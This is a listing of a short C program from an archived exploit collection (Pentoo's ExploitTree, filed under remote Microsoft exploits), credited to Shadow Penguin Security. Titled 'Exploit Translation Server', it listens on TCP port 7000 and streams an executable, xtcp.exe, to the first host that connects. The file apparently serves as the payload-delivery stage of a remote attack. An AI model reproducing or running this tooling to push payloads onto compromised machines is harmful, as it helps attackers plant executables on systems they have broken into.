home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / sendexp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  79 lines

  1. /*=============================================================================
  2.    Exploit Translation Server Version1.00
  3.    The Shadow Penguin Security (http://shadowpenguin.backsection.net)
  4.    Written by UNYUN (shadowpenguin@backsection.net)
  5.   =============================================================================
  6. */
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <string.h>
  10. #include <sys/types.h>
  11. #include <sys/socket.h>
  12. #include <sys/stat.h>
  13. #include <fcntl.h>
  14. #include <errno.h>
  15. #include <netinet/in.h>
  16. #include <arpa/inet.h>
  17.  
  18. #define     PORT_NUM    7000
  19. #define     BUFSIZE     1000
  20. #define     SENDFILE    "xtcp.exe"
  21.  
  22. int     get_connection(port, listener)
  23. int     port;
  24. int     *listener;
  25. {
  26.   struct sockaddr_in  address,acc;
  27.   int                 listening_socket,connected_socket;
  28.   int                 reuse_addr=1,acclen=sizeof(acc);
  29.  
  30.   memset((char *) &address, 0, sizeof(address));
  31.   address.sin_family = AF_INET;
  32.   address.sin_port = htons(port);
  33.   address.sin_addr.s_addr = htonl(INADDR_ANY);
  34.   listening_socket = socket(AF_INET, SOCK_STREAM, 0);
  35.   if (listening_socket < 0)
  36.     {
  37.       perror("socket");
  38.       exit(1);
  39.     }
  40.   if (listener != NULL) *listener = listening_socket;
  41.   setsockopt(listening_socket,SOL_SOCKET,SO_REUSEADDR,
  42.              (void *)&reuse_addr,sizeof(reuse_addr));
  43.   if (bind(listening_socket,(struct sockaddr *)&address,
  44.            sizeof(address))<0)
  45.     {
  46.       perror("bind");
  47.       exit(1);
  48.     }
  49.   listen(listening_socket, 5);
  50.   connected_socket=accept(listening_socket,
  51.                           (struct sockaddr *)&acc,&acclen);
  52.   return connected_socket;
  53. }
  54. int     main(argc, argv)
  55. int     argc;
  56. char    *argv[];
  57. {
  58.   int             sock,listensock,i,r,l;
  59.   char            buf[BUFSIZE];
  60.   struct  stat    st;
  61.   FILE            *fp;
  62.  
  63.   if ((fp=fopen(SENDFILE,"rb"))==NULL)
  64.     {
  65.       printf("File not found \"%s\"\n",SENDFILE);
  66.       exit(1);
  67.     }
  68.   stat(SENDFILE,&st);
  69.   r=st.st_size/BUFSIZE+1;
  70.   sock = get_connection(PORT_NUM, &listensock);
  71.   for (i=0;;i++)
  72.     {
  73.       l=fread(buf,1,BUFSIZE,fp);
  74.       if (l<=0) break;
  75.       write(sock,buf,l);
  76.     }
  77.   fclose(fp);
  78.   close(sock);
  79. }/*                    www.hack.co.za              [2000]*/